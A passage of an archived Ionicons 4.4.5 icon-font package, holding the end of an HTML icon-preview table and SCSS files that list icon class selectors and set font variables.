    <ion-icon name="md-square-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    star
  </td>
  <td class="align-center">
    <ion-icon name="ios-star" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-star" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    star-half
  </td>
  <td class="align-center">
    <ion-icon name="ios-star-half" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-star-half" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    star-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-star-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-star-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    stats
  </td>
  <td class="align-center">
    <ion-icon name="ios-stats" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-stats" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    stopwatch
  </td>
  <td class="align-center">
    <ion-icon name="ios-stopwatch" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-stopwatch" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    subway
  </td>
  <td class="align-center">
    <ion-icon name="ios-subway" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-subway" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    sunny
  </td>
  <td class="align-center">
    <ion-icon name="ios-sunny" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-sunny" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    swap
  </td>
  <td class="align-center">
    <ion-icon name="ios-swap" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-swap" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    switch
  </td>
  <td class="align-center">
    <ion-icon name="ios-switch" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-switch" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    sync
  </td>
  <td class="align-center">
    <ion-icon name="ios-sync" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-sync" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    tablet-landscape
  </td>
  <td class="align-center">
    <ion-icon name="ios-tablet-landscape" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-tablet-landscape" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    tablet-portrait
  </td>
  <td class="align-center">
    <ion-icon name="ios-tablet-portrait" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-tablet-portrait" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    tennisball
  </td>
  <td class="align-center">
    <ion-icon name="ios-tennisball" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-tennisball" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    text
  </td>
  <td class="align-center">
    <ion-icon name="ios-text" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-text" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    thermometer
  </td>
  <td class="align-center">
    <ion-icon name="ios-thermometer" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-thermometer" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    thumbs-down
  </td>
  <td class="align-center">
    <ion-icon name="ios-thumbs-down" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-thumbs-down" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    thumbs-up
  </td>
  <td class="align-center">
    <ion-icon name="ios-thumbs-up" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-thumbs-up" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    thunderstorm
  </td>
  <td class="align-center">
    <ion-icon name="ios-thunderstorm" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-thunderstorm" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    time
  </td>
  <td class="align-center">
    <ion-icon name="ios-time" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-time" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    timer
  </td>
  <td class="align-center">
    <ion-icon name="ios-timer" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-timer" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    today
  </td>
  <td class="align-center">
    <ion-icon name="ios-today" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-today" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    train
  </td>
  <td class="align-center">
    <ion-icon name="ios-train" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-train" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    transgender
  </td>
  <td class="align-center">
    <ion-icon name="ios-transgender" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-transgender" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    trash
  </td>
  <td class="align-center">
    <ion-icon name="ios-trash" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-trash" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    trending-down
  </td>
  <td class="align-center">
    <ion-icon name="ios-trending-down" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-trending-down" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    trending-up
  </td>
  <td class="align-center">
    <ion-icon name="ios-trending-up" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-trending-up" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    trophy
  </td>
  <td class="align-center">
    <ion-icon name="ios-trophy" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-trophy" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    tv
  </td>
  <td class="align-center">
    <ion-icon name="ios-tv" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-tv" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    umbrella
  </td>
  <td class="align-center">
    <ion-icon name="ios-umbrella" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-umbrella" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    undo
  </td>
  <td class="align-center">
    <ion-icon name="ios-undo" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-undo" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    unlock
  </td>
  <td class="align-center">
    <ion-icon name="ios-unlock" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-unlock" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    videocam
  </td>
  <td class="align-center">
    <ion-icon name="ios-videocam" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-videocam" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    volume-high
  </td>
  <td class="align-center">
    <ion-icon name="ios-volume-high" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-volume-high" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    volume-low
  </td>
  <td class="align-center">
    <ion-icon name="ios-volume-low" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-volume-low" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    volume-mute
  </td>
  <td class="align-center">
    <ion-icon name="ios-volume-mute" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-volume-mute" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    volume-off
  </td>
  <td class="align-center">
    <ion-icon name="ios-volume-off" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-volume-off" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    walk
  </td>
  <td class="align-center">
    <ion-icon name="ios-walk" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-walk" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    wallet
  </td>
  <td class="align-center">
    <ion-icon name="ios-wallet" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-wallet" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    warning
  </td>
  <td class="align-center">
    <ion-icon name="ios-warning" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-warning" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    watch
  </td>
  <td class="align-center">
    <ion-icon name="ios-watch" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-watch" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    water
  </td>
  <td class="align-center">
    <ion-icon name="ios-water" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-water" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    wifi
  </td>
  <td class="align-center">
    <ion-icon name="ios-wifi" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-wifi" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    wine
  </td>
  <td class="align-center">
    <ion-icon name="ios-wine" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-wine" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    woman
  </td>
  <td class="align-center">
    <ion-icon name="ios-woman" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-woman" lazy></ion-icon>
  </div>
</tr>

    </table>
    <footer>
      Made with <ion-icon class="heart" name="md-heart"></ion-icon> by the <a href="http://ionicframework.com/">Ionic Team</a>
    </footer>
  </main>
</body>
</html>
scss/ionicons-common.scss000064400000044350151701353760011541 0ustar00@charset "UTF-8";
// Ionicons Common CSS
// --------------------------

.ionicons,
.ion-ios-add:before,
.ion-ios-add-circle:before,
.ion-ios-add-circle-outline:before,
.ion-ios-airplane:before,
.ion-ios-alarm:before,
.ion-ios-albums:before,
.ion-ios-alert:before,
.ion-ios-american-football:before,
.ion-ios-analytics:before,
.ion-ios-aperture:before,
.ion-ios-apps:before,
.ion-ios-appstore:before,
.ion-ios-archive:before,
.ion-ios-arrow-back:before,
.ion-ios-arrow-down:before,
.ion-ios-arrow-dropdown:before,
.ion-ios-arrow-dropdown-circle:before,
.ion-ios-arrow-dropleft:before,
.ion-ios-arrow-dropleft-circle:before,
.ion-ios-arrow-dropright:before,
.ion-ios-arrow-dropright-circle:before,
.ion-ios-arrow-dropup:before,
.ion-ios-arrow-dropup-circle:before,
.ion-ios-arrow-forward:before,
.ion-ios-arrow-round-back:before,
.ion-ios-arrow-round-down:before,
.ion-ios-arrow-round-forward:before,
.ion-ios-arrow-round-up:before,
.ion-ios-arrow-up:before,
.ion-ios-at:before,
.ion-ios-attach:before,
.ion-ios-backspace:before,
.ion-ios-barcode:before,
.ion-ios-baseball:before,
.ion-ios-basket:before,
.ion-ios-basketball:before,
.ion-ios-battery-charging:before,
.ion-ios-battery-dead:before,
.ion-ios-battery-full:before,
.ion-ios-beaker:before,
.ion-ios-bed:before,
.ion-ios-beer:before,
.ion-ios-bicycle:before,
.ion-ios-bluetooth:before,
.ion-ios-boat:before,
.ion-ios-body:before,
.ion-ios-bonfire:before,
.ion-ios-book:before,
.ion-ios-bookmark:before,
.ion-ios-bookmarks:before,
.ion-ios-bowtie:before,
.ion-ios-briefcase:before,
.ion-ios-browsers:before,
.ion-ios-brush:before,
.ion-ios-bug:before,
.ion-ios-build:before,
.ion-ios-bulb:before,
.ion-ios-bus:before,
.ion-ios-business:before,
.ion-ios-cafe:before,
.ion-ios-calculator:before,
.ion-ios-calendar:before,
.ion-ios-call:before,
.ion-ios-camera:before,
.ion-ios-car:before,
.ion-ios-card:before,
.ion-ios-cart:before,
.ion-ios-cash:before,
.ion-ios-cellular:before,
.ion-ios-chatboxes:before,
.ion-ios-chatbubbles:before,
.ion-ios-checkbox:before,
.ion-ios-checkbox-outline:before,
.ion-ios-checkmark:before,
.ion-ios-checkmark-circle:before,
.ion-ios-checkmark-circle-outline:before,
.ion-ios-clipboard:before,
.ion-ios-clock:before,
.ion-ios-close:before,
.ion-ios-close-circle:before,
.ion-ios-close-circle-outline:before,
.ion-ios-cloud:before,
.ion-ios-cloud-circle:before,
.ion-ios-cloud-done:before,
.ion-ios-cloud-download:before,
.ion-ios-cloud-outline:before,
.ion-ios-cloud-upload:before,
.ion-ios-cloudy:before,
.ion-ios-cloudy-night:before,
.ion-ios-code:before,
.ion-ios-code-download:before,
.ion-ios-code-working:before,
.ion-ios-cog:before,
.ion-ios-color-fill:before,
.ion-ios-color-filter:before,
.ion-ios-color-palette:before,
.ion-ios-color-wand:before,
.ion-ios-compass:before,
.ion-ios-construct:before,
.ion-ios-contact:before,
.ion-ios-contacts:before,
.ion-ios-contract:before,
.ion-ios-contrast:before,
.ion-ios-copy:before,
.ion-ios-create:before,
.ion-ios-crop:before,
.ion-ios-cube:before,
.ion-ios-cut:before,
.ion-ios-desktop:before,
.ion-ios-disc:before,
.ion-ios-document:before,
.ion-ios-done-all:before,
.ion-ios-download:before,
.ion-ios-easel:before,
.ion-ios-egg:before,
.ion-ios-exit:before,
.ion-ios-expand:before,
.ion-ios-eye:before,
.ion-ios-eye-off:before,
.ion-ios-fastforward:before,
.ion-ios-female:before,
.ion-ios-filing:before,
.ion-ios-film:before,
.ion-ios-finger-print:before,
.ion-ios-fitness:before,
.ion-ios-flag:before,
.ion-ios-flame:before,
.ion-ios-flash:before,
.ion-ios-flash-off:before,
.ion-ios-flashlight:before,
.ion-ios-flask:before,
.ion-ios-flower:before,
.ion-ios-folder:before,
.ion-ios-folder-open:before,
.ion-ios-football:before,
.ion-ios-funnel:before,
.ion-ios-gift:before,
.ion-ios-git-branch:before,
.ion-ios-git-commit:before,
.ion-ios-git-compare:before,
.ion-ios-git-merge:before,
.ion-ios-git-network:before,
.ion-ios-git-pull-request:before,
.ion-ios-glasses:before,
.ion-ios-globe:before,
.ion-ios-grid:before,
.ion-ios-hammer:before,
.ion-ios-hand:before,
.ion-ios-happy:before,
.ion-ios-headset:before,
.ion-ios-heart:before,
.ion-ios-heart-dislike:before,
.ion-ios-heart-empty:before,
.ion-ios-heart-half:before,
.ion-ios-help:before,
.ion-ios-help-buoy:before,
.ion-ios-help-circle:before,
.ion-ios-help-circle-outline:before,
.ion-ios-home:before,
.ion-ios-hourglass:before,
.ion-ios-ice-cream:before,
.ion-ios-image:before,
.ion-ios-images:before,
.ion-ios-infinite:before,
.ion-ios-information:before,
.ion-ios-information-circle:before,
.ion-ios-information-circle-outline:before,
.ion-ios-jet:before,
.ion-ios-journal:before,
.ion-ios-key:before,
.ion-ios-keypad:before,
.ion-ios-laptop:before,
.ion-ios-leaf:before,
.ion-ios-link:before,
.ion-ios-list:before,
.ion-ios-list-box:before,
.ion-ios-locate:before,
.ion-ios-lock:before,
.ion-ios-log-in:before,
.ion-ios-log-out:before,
.ion-ios-magnet:before,
.ion-ios-mail:before,
.ion-ios-mail-open:before,
.ion-ios-mail-unread:before,
.ion-ios-male:before,
.ion-ios-man:before,
.ion-ios-map:before,
.ion-ios-medal:before,
.ion-ios-medical:before,
.ion-ios-medkit:before,
.ion-ios-megaphone:before,
.ion-ios-menu:before,
.ion-ios-mic:before,
.ion-ios-mic-off:before,
.ion-ios-microphone:before,
.ion-ios-moon:before,
.ion-ios-more:before,
.ion-ios-move:before,
.ion-ios-musical-note:before,
.ion-ios-musical-notes:before,
.ion-ios-navigate:before,
.ion-ios-notifications:before,
.ion-ios-notifications-off:before,
.ion-ios-notifications-outline:before,
.ion-ios-nuclear:before,
.ion-ios-nutrition:before,
.ion-ios-open:before,
.ion-ios-options:before,
.ion-ios-outlet:before,
.ion-ios-paper:before,
.ion-ios-paper-plane:before,
.ion-ios-partly-sunny:before,
.ion-ios-pause:before,
.ion-ios-paw:before,
.ion-ios-people:before,
.ion-ios-person:before,
.ion-ios-person-add:before,
.ion-ios-phone-landscape:before,
.ion-ios-phone-portrait:before,
.ion-ios-photos:before,
.ion-ios-pie:before,
.ion-ios-pin:before,
.ion-ios-pint:before,
.ion-ios-pizza:before,
.ion-ios-planet:before,
.ion-ios-play:before,
.ion-ios-play-circle:before,
.ion-ios-podium:before,
.ion-ios-power:before,
.ion-ios-pricetag:before,
.ion-ios-pricetags:before,
.ion-ios-print:before,
.ion-ios-pulse:before,
.ion-ios-qr-scanner:before,
.ion-ios-quote:before,
.ion-ios-radio:before,
.ion-ios-radio-button-off:before,
.ion-ios-radio-button-on:before,
.ion-ios-rainy:before,
.ion-ios-recording:before,
.ion-ios-redo:before,
.ion-ios-refresh:before,
.ion-ios-refresh-circle:before,
.ion-ios-remove:before,
.ion-ios-remove-circle:before,
.ion-ios-remove-circle-outline:before,
.ion-ios-reorder:before,
.ion-ios-repeat:before,
.ion-ios-resize:before,
.ion-ios-restaurant:before,
.ion-ios-return-left:before,
.ion-ios-return-right:before,
.ion-ios-reverse-camera:before,
.ion-ios-rewind:before,
.ion-ios-ribbon:before,
.ion-ios-rocket:before,
.ion-ios-rose:before,
.ion-ios-sad:before,
.ion-ios-save:before,
.ion-ios-school:before,
.ion-ios-search:before,
.ion-ios-send:before,
.ion-ios-settings:before,
.ion-ios-share:before,
.ion-ios-share-alt:before,
.ion-ios-shirt:before,
.ion-ios-shuffle:before,
.ion-ios-skip-backward:before,
.ion-ios-skip-forward:before,
.ion-ios-snow:before,
.ion-ios-speedometer:before,
.ion-ios-square:before,
.ion-ios-square-outline:before,
.ion-ios-star:before,
.ion-ios-star-half:before,
.ion-ios-star-outline:before,
.ion-ios-stats:before,
.ion-ios-stopwatch:before,
.ion-ios-subway:before,
.ion-ios-sunny:before,
.ion-ios-swap:before,
.ion-ios-switch:before,
.ion-ios-sync:before,
.ion-ios-tablet-landscape:before,
.ion-ios-tablet-portrait:before,
.ion-ios-tennisball:before,
.ion-ios-text:before,
.ion-ios-thermometer:before,
.ion-ios-thumbs-down:before,
.ion-ios-thumbs-up:before,
.ion-ios-thunderstorm:before,
.ion-ios-time:before,
.ion-ios-timer:before,
.ion-ios-today:before,
.ion-ios-train:before,
.ion-ios-transgender:before,
.ion-ios-trash:before,
.ion-ios-trending-down:before,
.ion-ios-trending-up:before,
.ion-ios-trophy:before,
.ion-ios-tv:before,
.ion-ios-umbrella:before,
.ion-ios-undo:before,
.ion-ios-unlock:before,
.ion-ios-videocam:before,
.ion-ios-volume-high:before,
.ion-ios-volume-low:before,
.ion-ios-volume-mute:before,
.ion-ios-volume-off:before,
.ion-ios-walk:before,
.ion-ios-wallet:before,
.ion-ios-warning:before,
.ion-ios-watch:before,
.ion-ios-water:before,
.ion-ios-wifi:before,
.ion-ios-wine:before,
.ion-ios-woman:before,
.ion-logo-android:before,
.ion-logo-angular:before,
.ion-logo-apple:before,
.ion-logo-bitbucket:before,
.ion-logo-bitcoin:before,
.ion-logo-buffer:before,
.ion-logo-chrome:before,
.ion-logo-closed-captioning:before,
.ion-logo-codepen:before,
.ion-logo-css3:before,
.ion-logo-designernews:before,
.ion-logo-dribbble:before,
.ion-logo-dropbox:before,
.ion-logo-euro:before,
.ion-logo-facebook:before,
.ion-logo-flickr:before,
.ion-logo-foursquare:before,
.ion-logo-freebsd-devil:before,
.ion-logo-game-controller-a:before,
.ion-logo-game-controller-b:before,
.ion-logo-github:before,
.ion-logo-google:before,
.ion-logo-googleplus:before,
.ion-logo-hackernews:before,
.ion-logo-html5:before,
.ion-logo-instagram:before,
.ion-logo-ionic:before,
.ion-logo-ionitron:before,
.ion-logo-javascript:before,
.ion-logo-linkedin:before,
.ion-logo-markdown:before,
.ion-logo-model-s:before,
.ion-logo-no-smoking:before,
.ion-logo-nodejs:before,
.ion-logo-npm:before,
.ion-logo-octocat:before,
.ion-logo-pinterest:before,
.ion-logo-playstation:before,
.ion-logo-polymer:before,
.ion-logo-python:before,
.ion-logo-reddit:before,
.ion-logo-rss:before,
.ion-logo-sass:before,
.ion-logo-skype:before,
.ion-logo-slack:before,
.ion-logo-snapchat:before,
.ion-logo-steam:before,
.ion-logo-tumblr:before,
.ion-logo-tux:before,
.ion-logo-twitch:before,
.ion-logo-twitter:before,
.ion-logo-usd:before,
.ion-logo-vimeo:before,
.ion-logo-vk:before,
.ion-logo-whatsapp:before,
.ion-logo-windows:before,
.ion-logo-wordpress:before,
.ion-logo-xbox:before,
.ion-logo-xing:before,
.ion-logo-yahoo:before,
.ion-logo-yen:before,
.ion-logo-youtube:before,
.ion-md-add:before,
.ion-md-add-circle:before,
.ion-md-add-circle-outline:before,
.ion-md-airplane:before,
.ion-md-alarm:before,
.ion-md-albums:before,
.ion-md-alert:before,
.ion-md-american-football:before,
.ion-md-analytics:before,
.ion-md-aperture:before,
.ion-md-apps:before,
.ion-md-appstore:before,
.ion-md-archive:before,
.ion-md-arrow-back:before,
.ion-md-arrow-down:before,
.ion-md-arrow-dropdown:before,
.ion-md-arrow-dropdown-circle:before,
.ion-md-arrow-dropleft:before,
.ion-md-arrow-dropleft-circle:before,
.ion-md-arrow-dropright:before,
.ion-md-arrow-dropright-circle:before,
.ion-md-arrow-dropup:before,
.ion-md-arrow-dropup-circle:before,
.ion-md-arrow-forward:before,
.ion-md-arrow-round-back:before,
.ion-md-arrow-round-down:before,
.ion-md-arrow-round-forward:before,
.ion-md-arrow-round-up:before,
.ion-md-arrow-up:before,
.ion-md-at:before,
.ion-md-attach:before,
.ion-md-backspace:before,
.ion-md-barcode:before,
.ion-md-baseball:before,
.ion-md-basket:before,
.ion-md-basketball:before,
.ion-md-battery-charging:before,
.ion-md-battery-dead:before,
.ion-md-battery-full:before,
.ion-md-beaker:before,
.ion-md-bed:before,
.ion-md-beer:before,
.ion-md-bicycle:before,
.ion-md-bluetooth:before,
.ion-md-boat:before,
.ion-md-body:before,
.ion-md-bonfire:before,
.ion-md-book:before,
.ion-md-bookmark:before,
.ion-md-bookmarks:before,
.ion-md-bowtie:before,
.ion-md-briefcase:before,
.ion-md-browsers:before,
.ion-md-brush:before,
.ion-md-bug:before,
.ion-md-build:before,
.ion-md-bulb:before,
.ion-md-bus:before,
.ion-md-business:before,
.ion-md-cafe:before,
.ion-md-calculator:before,
.ion-md-calendar:before,
.ion-md-call:before,
.ion-md-camera:before,
.ion-md-car:before,
.ion-md-card:before,
.ion-md-cart:before,
.ion-md-cash:before,
.ion-md-cellular:before,
.ion-md-chatboxes:before,
.ion-md-chatbubbles:before,
.ion-md-checkbox:before,
.ion-md-checkbox-outline:before,
.ion-md-checkmark:before,
.ion-md-checkmark-circle:before,
.ion-md-checkmark-circle-outline:before,
.ion-md-clipboard:before,
.ion-md-clock:before,
.ion-md-close:before,
.ion-md-close-circle:before,
.ion-md-close-circle-outline:before,
.ion-md-cloud:before,
.ion-md-cloud-circle:before,
.ion-md-cloud-done:before,
.ion-md-cloud-download:before,
.ion-md-cloud-outline:before,
.ion-md-cloud-upload:before,
.ion-md-cloudy:before,
.ion-md-cloudy-night:before,
.ion-md-code:before,
.ion-md-code-download:before,
.ion-md-code-working:before,
.ion-md-cog:before,
.ion-md-color-fill:before,
.ion-md-color-filter:before,
.ion-md-color-palette:before,
.ion-md-color-wand:before,
.ion-md-compass:before,
.ion-md-construct:before,
.ion-md-contact:before,
.ion-md-contacts:before,
.ion-md-contract:before,
.ion-md-contrast:before,
.ion-md-copy:before,
.ion-md-create:before,
.ion-md-crop:before,
.ion-md-cube:before,
.ion-md-cut:before,
.ion-md-desktop:before,
.ion-md-disc:before,
.ion-md-document:before,
.ion-md-done-all:before,
.ion-md-download:before,
.ion-md-easel:before,
.ion-md-egg:before,
.ion-md-exit:before,
.ion-md-expand:before,
.ion-md-eye:before,
.ion-md-eye-off:before,
.ion-md-fastforward:before,
.ion-md-female:before,
.ion-md-filing:before,
.ion-md-film:before,
.ion-md-finger-print:before,
.ion-md-fitness:before,
.ion-md-flag:before,
.ion-md-flame:before,
.ion-md-flash:before,
.ion-md-flash-off:before,
.ion-md-flashlight:before,
.ion-md-flask:before,
.ion-md-flower:before,
.ion-md-folder:before,
.ion-md-folder-open:before,
.ion-md-football:before,
.ion-md-funnel:before,
.ion-md-gift:before,
.ion-md-git-branch:before,
.ion-md-git-commit:before,
.ion-md-git-compare:before,
.ion-md-git-merge:before,
.ion-md-git-network:before,
.ion-md-git-pull-request:before,
.ion-md-glasses:before,
.ion-md-globe:before,
.ion-md-grid:before,
.ion-md-hammer:before,
.ion-md-hand:before,
.ion-md-happy:before,
.ion-md-headset:before,
.ion-md-heart:before,
.ion-md-heart-dislike:before,
.ion-md-heart-empty:before,
.ion-md-heart-half:before,
.ion-md-help:before,
.ion-md-help-buoy:before,
.ion-md-help-circle:before,
.ion-md-help-circle-outline:before,
.ion-md-home:before,
.ion-md-hourglass:before,
.ion-md-ice-cream:before,
.ion-md-image:before,
.ion-md-images:before,
.ion-md-infinite:before,
.ion-md-information:before,
.ion-md-information-circle:before,
.ion-md-information-circle-outline:before,
.ion-md-jet:before,
.ion-md-journal:before,
.ion-md-key:before,
.ion-md-keypad:before,
.ion-md-laptop:before,
.ion-md-leaf:before,
.ion-md-link:before,
.ion-md-list:before,
.ion-md-list-box:before,
.ion-md-locate:before,
.ion-md-lock:before,
.ion-md-log-in:before,
.ion-md-log-out:before,
.ion-md-magnet:before,
.ion-md-mail:before,
.ion-md-mail-open:before,
.ion-md-mail-unread:before,
.ion-md-male:before,
.ion-md-man:before,
.ion-md-map:before,
.ion-md-medal:before,
.ion-md-medical:before,
.ion-md-medkit:before,
.ion-md-megaphone:before,
.ion-md-menu:before,
.ion-md-mic:before,
.ion-md-mic-off:before,
.ion-md-microphone:before,
.ion-md-moon:before,
.ion-md-more:before,
.ion-md-move:before,
.ion-md-musical-note:before,
.ion-md-musical-notes:before,
.ion-md-navigate:before,
.ion-md-notifications:before,
.ion-md-notifications-off:before,
.ion-md-notifications-outline:before,
.ion-md-nuclear:before,
.ion-md-nutrition:before,
.ion-md-open:before,
.ion-md-options:before,
.ion-md-outlet:before,
.ion-md-paper:before,
.ion-md-paper-plane:before,
.ion-md-partly-sunny:before,
.ion-md-pause:before,
.ion-md-paw:before,
.ion-md-people:before,
.ion-md-person:before,
.ion-md-person-add:before,
.ion-md-phone-landscape:before,
.ion-md-phone-portrait:before,
.ion-md-photos:before,
.ion-md-pie:before,
.ion-md-pin:before,
.ion-md-pint:before,
.ion-md-pizza:before,
.ion-md-planet:before,
.ion-md-play:before,
.ion-md-play-circle:before,
.ion-md-podium:before,
.ion-md-power:before,
.ion-md-pricetag:before,
.ion-md-pricetags:before,
.ion-md-print:before,
.ion-md-pulse:before,
.ion-md-qr-scanner:before,
.ion-md-quote:before,
.ion-md-radio:before,
.ion-md-radio-button-off:before,
.ion-md-radio-button-on:before,
.ion-md-rainy:before,
.ion-md-recording:before,
.ion-md-redo:before,
.ion-md-refresh:before,
.ion-md-refresh-circle:before,
.ion-md-remove:before,
.ion-md-remove-circle:before,
.ion-md-remove-circle-outline:before,
.ion-md-reorder:before,
.ion-md-repeat:before,
.ion-md-resize:before,
.ion-md-restaurant:before,
.ion-md-return-left:before,
.ion-md-return-right:before,
.ion-md-reverse-camera:before,
.ion-md-rewind:before,
.ion-md-ribbon:before,
.ion-md-rocket:before,
.ion-md-rose:before,
.ion-md-sad:before,
.ion-md-save:before,
.ion-md-school:before,
.ion-md-search:before,
.ion-md-send:before,
.ion-md-settings:before,
.ion-md-share:before,
.ion-md-share-alt:before,
.ion-md-shirt:before,
.ion-md-shuffle:before,
.ion-md-skip-backward:before,
.ion-md-skip-forward:before,
.ion-md-snow:before,
.ion-md-speedometer:before,
.ion-md-square:before,
.ion-md-square-outline:before,
.ion-md-star:before,
.ion-md-star-half:before,
.ion-md-star-outline:before,
.ion-md-stats:before,
.ion-md-stopwatch:before,
.ion-md-subway:before,
.ion-md-sunny:before,
.ion-md-swap:before,
.ion-md-switch:before,
.ion-md-sync:before,
.ion-md-tablet-landscape:before,
.ion-md-tablet-portrait:before,
.ion-md-tennisball:before,
.ion-md-text:before,
.ion-md-thermometer:before,
.ion-md-thumbs-down:before,
.ion-md-thumbs-up:before,
.ion-md-thunderstorm:before,
.ion-md-time:before,
.ion-md-timer:before,
.ion-md-today:before,
.ion-md-train:before,
.ion-md-transgender:before,
.ion-md-trash:before,
.ion-md-trending-down:before,
.ion-md-trending-up:before,
.ion-md-trophy:before,
.ion-md-tv:before,
.ion-md-umbrella:before,
.ion-md-undo:before,
.ion-md-unlock:before,
.ion-md-videocam:before,
.ion-md-volume-high:before,
.ion-md-volume-low:before,
.ion-md-volume-mute:before,
.ion-md-volume-off:before,
.ion-md-walk:before,
.ion-md-wallet:before,
.ion-md-warning:before,
.ion-md-watch:before,
.ion-md-water:before,
.ion-md-wifi:before,
.ion-md-wine:before,
.ion-md-woman:before
{
  @extend .ion;
}scss/ionicons-variables.scss000064400000000307151701353760012213 0ustar00@charset "UTF-8";
// Ionicons Variables
// --------------------------

$ionicons-font-path: "../fonts" !default;
$ionicons-font-family: "Ionicons" !default;
$ionicons-version: "4.4.5" !default;scss/ionicons.scss000064400000003021151701353760010241 0ustar00@import "ionicons-variables";
/*!
